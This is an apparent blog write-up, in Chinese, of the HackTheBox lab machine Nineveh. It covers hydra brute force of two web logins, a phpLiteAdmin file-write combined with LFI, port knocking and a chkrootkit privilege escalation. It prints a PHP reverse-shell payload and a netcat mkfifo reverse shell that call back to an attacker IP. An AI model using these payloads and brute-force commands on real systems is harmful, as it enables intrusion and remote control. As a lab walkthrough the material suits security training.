Avatar {{帝力于我何有哉}} 不疯魔,不成活。 Be obsessed, or be average.


HackTheBox >_ Nineveh_43

Nineveh_43

端口信息

rustscan 10.10.10.43 -b 924 -t 1500 --no-nmap

nmap -sC -sV -T5 -Pn -oX sploit.xml -vvv -p 80,443 10.10.10.43 ; searchsploit --nmap sploit.xml

初始侦查

加入hosts

无变化

80

/department

443

phpliteadmin 1.9.3是存在漏洞的但是需要先登陆,尝试几个弱密码和默认密码,无法进入,暂时搁置

开始进攻

80

回头看80的登陆页面

测试了mysql登陆绕过,但是失败。

继续测试发现正确用户名和非正确用户名是能区别的

参照源码中,管理员应该是admin,测试正确,已知用户名并且有密码错误回显,抓包,使用hydra进行爆破

hydra -l admin -P /usr/share/wordlists/rockyou.txt 10.10.10.43 http-post-form "/department/login.php:username=^USER^&password=^PASS^:Invalid Password!" -vV -I

admin:1q2w3e4r5t

登陆成功,用此凭证尝试443端口phpliteadmin登陆无效

点击nots

check your serect folder to get in!

http://10.10.10.43/department/manage.php?notes=serect/ninevehNotes.txt

测试了lfi但是没有收获

443端口同样有错误密码回显

尝试暴力phpliteadmin

同样抓包爆破

注意使用https-post-form

hydra -l admin -P /usr/share/wordlists/rockyou.txt 10.10.10.43 https-post-form "/db/index.php:password=^PASS^&remember=yes&login=Log+In&proc_login=true:Incorrect password" -vV -I

password123

登陆成功

24044

根据漏洞信息,我们可以简单的通过新建db的方式在服务器生成我们想要的php文件,同时使用80端口的lfi对我们生成对shell php文件进行包含,即可获得shell

已经存在对test数据库 目录为/var/tmp/test,我们生成的php也会在/var/tmp目录下

因为这个太简单了就跳过测试的部分,正常应该先新建测试的php,测试包含,看能不能形成完整利用,但是这个机器做到这里,已经没有悬念了,直接利用

新建数据库evil.php

目录暴露为/var/tmp/evil.php

为evil新建表

增加数据,填入payload

<?php system("rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.10.14.30 1337 >/tmp/f"); ?>

建立好监听

无法成功包含。

经过反复测试包含时必须含有ninevehNotes的字样,才能正常执行

rename database

重命名为ninevehNotes.php

http://10.10.10.43/department/manage.php?notes=/var/tmp/ninevehNotes.php

www-data shell

监听处获得shell

python3 -c "import pty; pty.spawn(['/bin/bash']);"

图片下载回本地分析

在过程中发现

strings nineveh.png

有ssh key

但是扫描没发现打开的ssh端口

敲端口

查看设置文件 /etc/knockd.conf

571,290,911

knock -v 10.10.10.43 571 290 911

ssh 连接

ssh -i id_rsa amrois@nineveh.htb

python -m SimpleHTTPServer 8080

/usr/sbin/report-reset.sh

存在计划任务,可惜和root没什么关系

是个定期删除/report下文件的脚本

chkrootkit

Chkrootkit <=0.49 Local Root Vulnerability:小于等于0.49版的chrootkit存在本地提权漏洞。

这个漏洞利用时只需在/tmp下制作一个update的可执行文件

echo "rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.10.14.30 1338 >/tmp/f" > /tmp/update

chkrootkit 扫描到时会以root执行

稍后在监听处获得rootshell

同样可以内核提权。4.4有很多可以利用的漏洞